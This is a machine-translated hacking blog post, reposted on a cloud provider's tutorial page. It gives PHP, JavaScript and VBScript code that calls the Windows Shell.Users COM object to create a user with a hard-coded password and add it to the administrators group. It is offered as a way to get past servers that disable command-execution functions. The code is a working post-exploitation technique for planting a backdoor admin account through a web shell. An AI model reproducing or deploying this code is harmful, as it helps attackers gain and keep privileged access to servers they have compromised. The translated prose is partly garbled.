Php shell. users and administrator account _ PHP Tutorial

Source: Internet
Author: User
Php shell. users and administrator account. Author: CyberH4ck [Nan Quan Daddy] Author: Nan Quan Daddy reprinted please indicate the source of hi.baidu.com Nan Quan daddy09 when LCX wrote the js and vbs shell. users and administrator account author: CyberH4ck [South boxing Daddy]
Author: the source of hi.baidu.com/nan boxing Daddy is reprinted by Nan Quan Daddy.

In, LCX wrote the shell. users and administrator account methods for js and vbs. later I wanted to change it to PHP,

Because the code analysis is not accurate enough, it is only recently written. When php executes command functions such as exec, system, shell_exec, proc_open, passthru, popen

This may be an opportunity when wscript. shell formation is disabled.

The code is as follows:

Echo"

PHP Shell. Users and administrator account

";
$ Username = "IceSkin ";
$ Password = "skin.com ";
$ Su = new COM ("Shell. Users ");
$ H = $ su-> create ($ username );
$ H-> changePassword ($ password ,"");
$ H-> setting ["AccountType"] = 3; // you can add a user to the administrators group,
?>

As follows:

The Web server built on apache can be successfully executed. IIS seems to have insufficient permissions. the web server built on nginx and lighttpd has not been tested yet.

The following is the LCX code.

Js:
Var o = new ActiveXObject ("Shell. Users ");
Z = o. create ("test ");
Z. changePassword ("123456 ","")
Z. setting ("AccountType") = 3;


Vbs:
Set o = CreateObject ("Shell. Users ")
Set z = o. create ("test ")
Z. changePassword "123456 ",""
Z. setting ("AccountType") = 3

[This post was last edited by CyberH4ck at, 2011-5-29]

Copyright Author...

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.